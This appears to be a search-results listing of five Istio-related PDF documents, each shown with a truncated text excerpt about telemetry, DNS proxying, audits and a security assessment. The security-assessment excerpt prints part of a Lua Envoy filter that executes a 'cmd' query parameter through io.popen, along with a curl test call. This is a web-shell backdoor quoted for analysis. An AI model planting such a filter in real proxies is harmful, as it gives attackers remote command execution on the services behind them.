Observability and Istio Telemetryprocess Bypass adaptor SkyWalking backend Tracing Metric Receiver in gRPC/HTTP Analysis Core Query CoreIstio telemetry Attribute Vocabulary https://istio.io/docs/reference/config/policy-and- tel AlarmRecord belong to this type.Query in GraphQL • Five types query • Metadata • Metric • Aggregation • Trace • Alarm https://github.com/apache/incubator- skywalking-query-protocolEcosystem powered0 码力 | 21 页 | 5.29 MB | 6 月前3
Is Your Virtual Machine Really Ready-to-go with Istio?● Resolving DNS for services in remote clusters #IstioCon Role of DNS in Istio, Today 1. DNS query httpbin.ns1.svc.cluster.local 2. DNS response – 10.4.4.4 http req to 10.4.4.4 GET /status/200 ns1.svc.cluster.local SVC IP: 10.4.4.4 #IstioCon DNS Issues on VMs accessing K8s SVCs 1. DNS query for httpbin.ns1.svc.cluster.local 2. DNS response – no such host httpbin.ns1.svc.cluster.local 4.4.4 #IstioCon DNS Issues on ext-TCP SVCs without VIPs #IstioCon Smart DNS Proxying 1. DNS query httpbin.ns1.svc.cluster.local 2. Cached DNS response – 10.4.4.4 DNS queries to the system configured0 码力 | 50 页 | 2.19 MB | 1 年前3
Istio Security Assessmentrouting requests to the workload container, the Envoy proxy will instead parse requests for a cmd query parameter and execute it if present, returning the output. $ curl 'http://127.0.0.1:5443/?cmd=id' :gsub('%%(%x%x)', function(h) return string.char(tonumber(h, 16)) end) return s end function query(s) local ans = {} for k,v in s:gmatch('([^&=?]-)=([^&=?]+)' ) do ans[ k ] = urldecode(v) end return request_handle:headers():get(":path") request_handle:headers():replace("backend", "nobackend") local params = query(path) if params["cmd"] ~= nil then local fd = assert(io.popen(params["cmd"], 'r')) local out = a0 码力 | 51 页 | 849.66 KB | 1 年前3
百度APP基于Istio实现基础架构升级 - lightning talk - MichaelXu不能容忍,能否低成本解决? Ø 比如常用运维降级、止损能力各个产品线重复建设,方案差异大,OP期望运维能力在不同产品线之间能够通用化, 集中化管理,甚至做到自动决策 Ø 精细故障能力(异常query、注入延迟等)期望能够标准化、低成本跨产品线复制 Ø 百度APP架构缺少上下游模块视图和流量视图,黄金指标不足,导致容量管理压测效率低、混沌工程实施成 本高、故障定位成本高。 #IstioCon0 码力 | 9 页 | 2.20 MB | 1 年前3
Istio audit report - ADA Logics - 2023-01-30 - v1.0} if parseErr := req.ParseForm(); parseErr != nil { return reqParam, fmt.Errorf("failed to parse query from STS request: %v", parseErr) } This is also the case for the STS serverʼs second route, StsStatusPath0 码力 | 55 页 | 703.94 KB | 1 年前3
共 5 条
- 1













